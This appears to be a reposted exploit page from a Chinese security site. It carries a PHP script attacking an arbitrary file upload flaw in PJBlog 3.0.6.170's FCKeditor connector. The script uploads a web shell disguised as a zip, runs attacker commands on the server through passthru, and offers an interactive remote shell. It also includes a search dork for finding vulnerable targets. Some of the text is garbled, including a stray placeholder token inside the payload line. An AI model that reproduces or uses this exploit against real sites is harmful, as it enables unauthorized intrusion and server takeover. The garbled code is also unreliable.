首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PJBlog version 3.0.6.170 suffers from an arbitrary file upload vulnerability
来源:http://securitylab.ir/ 作者:Securitylab 发布时间:2009-09-21  
################################################################
# Discoverd By: Securitylab.ir������������������������������������������������������������������� #
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir����������������������� #
################################################################
# Application Info:����������������������������������������������������������������������������������� #
# Name: PJBlog������������������������������������������������������������������������������������� #
# Version: v3.0.6.170������������������������������������������������������������������������������ #
# Dork: intext:"PJBlog3 v3.0.6.170"���������������������������������������������������������� #
################################################################
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet)
{
�$sock = fsockopen($host, 80);
�while (!$sock)
�{
��print "\n[-] No response from {$host}:80 Trying again...";
��$sock = fsockopen($host, 80);
�}
�fputs($sock, $packet);
�while (!feof($sock)) $resp .= fread($sock, 1024);
�fclose($sock);
�return $resp;
}
function connector_response($html)
{
�return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| PJblog (fckeditor) Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
�print "\nUsage......: php $argv[0] host path";
�print "\nExample....: php $argv[0] localhost /";
�print "\nExample....: php $argv[0] localhost /PJblog/\n";
�die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename� = md5(time()).".php";
$connector = "FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php";
$payload� = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\
___FCKpd___0
SERVER[HTTP_CMD])); ?>\n"; $payload .= "--o0oOo0o--\r\n"; $packet� = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n"; $packet�.= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n"); else print "\n[-] Shell uploaded to {$filename}...starting it!\n"; $path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root $packet� = "GET {$path}{$filename} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { �print "\nFalt4-shell# "; �$cmd = trim(fgets(STDIN)); �if ($cmd != "exit") �{ ��$response = http_send($host, sprintf($packet, base64_encode($cmd))); ��preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n"); �} �else break; } ?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·InstantGet version 2.08 Active
·Charm Real Converter Pro versi
·Joomla Album component version
·Microsoft IIS 5.0 FTP Server R
·Apple Safari 4.0.3 null pointe
·Winplot (.wp2 File) Local Buff
·Joomla Component com_jreservat
·cP Creator 2.7.1 (Cookie ticke
·Ease Audio Cutter 1.20 (.wav f
·Joomla com_mytube (user_id) Bl
·Quiksoft EasyMail 6 (AddAttach
·BigAnt Server <= 2.50 SP6 Loca
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved